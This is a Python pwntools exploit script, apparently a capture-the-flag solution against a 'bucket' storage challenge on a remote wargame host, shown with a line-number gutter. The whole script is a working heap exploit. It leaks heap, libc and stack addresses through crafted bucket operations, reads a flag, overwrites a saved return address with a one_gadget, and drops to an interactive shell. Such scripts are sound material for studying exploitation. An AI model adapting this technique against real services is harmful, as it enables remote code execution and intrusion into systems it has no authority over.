1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156
| from pwn import * import pdb
def make_bucket(p, bucket_name, slot_datas): p.recvuntil("What to do >>") p.sendline("1") p.recvuntil("Size of bucket >>") p.sendline(str(len(slot_datas))) p.recvuntil("Name of bucket >>") p.sendline(bucket_name) for i in xrange(0, len(slot_datas)): p.recvuntil("Size of content >>") p.sendline(str(len(slot_datas[i]))) if len(slot_datas[i]) > 0: p.recvuntil("Content of slot >>") p.send(slot_datas[i])
def find_bucket(p, bucket_name): p.recvuntil("What to do >>") p.sendline("3") p.recvuntil("Bucket name to find >>") p.sendline(bucket_name)
def drop_bucket(p): p.recvuntil("What to do >>") p.sendline("5")
p = remote("hackme.inndy.tw", 7722) libc = ELF("/root/pwnfile/inndy_libc-2.23.so.x86_64")
make_bucket(p, "PPP", ['pppp']) make_bucket(p, "QQQ", ['qqqq']) find_bucket(p, "A" * 0x100) p.recvuntil("A" * 0x100) addr_heap = u64(p.recvuntil('"', drop=True).ljust(8, "\x00")) log.success("addr_heap: " + hex(addr_heap)) addr_flag1 = addr_heap - 0x100
payload = [p64(addr_flag1) * 0x30] make_bucket(p, "AAA", payload) drop_bucket(p)
make_bucket(p, "BBB", ["bbbb"]) make_bucket(p, "CCC", [""])
p.recvuntil("What to do >>") p.sendline("6") p.recvuntil("What to do >>") p.sendline("1") p.recvuntil("Row[0]:") flag1 = p.recvuntil("+---", drop=True) log.success("flag1: " + flag1) p.recvuntil("What to do >>") p.sendline("5")
addr_free_chunk = addr_heap + 0x150 payload = [p64(addr_free_chunk) * 0x30] make_bucket(p, "DDD", payload) make_bucket(p, "EEE", ["eeee"])
find_bucket(p, "DDD") drop_bucket(p) make_bucket(p, "FFF", ["ffff"]) make_bucket(p, "GGG", [""])
p.recvuntil("What to do >>") p.sendline("6") p.recvuntil("What to do >>") p.sendline("1") p.recvuntil("Row[0]:") addr_unsorted_bin = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00")) log.success("addr_unsorted_bin: " + hex(addr_unsorted_bin)) addr_libc = addr_unsorted_bin - 0x3c3b78 log.success("addr_libc: " + hex(addr_libc)) p.recvuntil("What to do >>") p.sendline("5")
addr_environ = addr_libc + libc.symbols["environ"] addr_system = addr_libc + libc.symbols["system"]
make_bucket(p, "HHH", [p64(addr_environ) * 0x20]) drop_bucket(p) make_bucket(p, "III", ["iiii"]) make_bucket(p, "JJJ", [""])
p.recvuntil("What to do >>") p.sendline("6") p.recvuntil("What to do >>") p.sendline("1") p.recvuntil("Row[0]:") addr_stack = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00")) log.success("addr_stack: " + hex(addr_stack)) p.recvuntil("What to do >>") p.sendline("5")
addr_ret = addr_stack - 0xf0
addr_one_gadget = addr_libc + 0xf0897 make_bucket(p, "KKK", ["k"] * 4)
make_bucket(p, "LLL", [p64(addr_ret) * 0x30]) make_bucket(p, "MMM", ["mmmm"])
find_bucket(p, "LLL") drop_bucket(p)
make_bucket(p, "NNN", ["nnnn"]) make_bucket(p, "OOO", [""])
p.recvuntil("What to do >>") p.sendline("6") p.recvuntil("What to do >>") p.sendline("2") p.recvuntil("Which line of data >>") p.sendline("0") p.recvuntil("Size of new content >>") p.sendline("5") p.recvuntil("New content >>") p.send(p64(addr_one_gadget)[:5]) p.recvuntil("What to do >>") p.sendline("5")
p.recvuntil("What to do >>") p.sendline("8")
p.interactive()
|